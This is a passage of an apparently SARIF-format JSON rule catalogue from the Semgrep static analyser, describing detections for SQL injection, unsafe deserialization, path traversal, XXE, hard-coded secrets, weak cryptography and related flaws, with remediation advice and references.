python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n - [https://www.npmjs.com/package/mysql](https://www.npmjs.com/package/mysql)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","id":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","name":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencrypted request over HTTP detected."},"help":{"markdown":"Unencrypted request over HTTP detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n","text":"Unencrypted request over HTTP detected."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request","id":"typescript.react.security.react-insecure-request.react-insecure-request","name":"typescript.react.security.react-insecure-request.react-insecure-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-insecure-request.react-insecure-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","id":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","name":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open","id":"ruby.lang.security.dangerous-open.dangerous-open","name":"ruby.lang.security.dangerous-open.dangerous-open","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open.dangerous-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","id":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","name":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pyyaml.tainted-pyyaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","id":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","name":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"help":{"markdown":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","id":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","name":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"help":{"markdown":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","id":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","name":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"help":{"markdown":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","id":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","name":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","id":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","name":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","id":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","name":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string","id":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","name":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval-format-string.user-eval-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"help":{"markdown":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)\n","text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","id":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","name":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","id":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","name":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"help":{"markdown":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","id":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","name":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli","id":"java.spring.security.jpa-sqli.jpa-sqli","name":"java.spring.security.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","id":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","name":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability 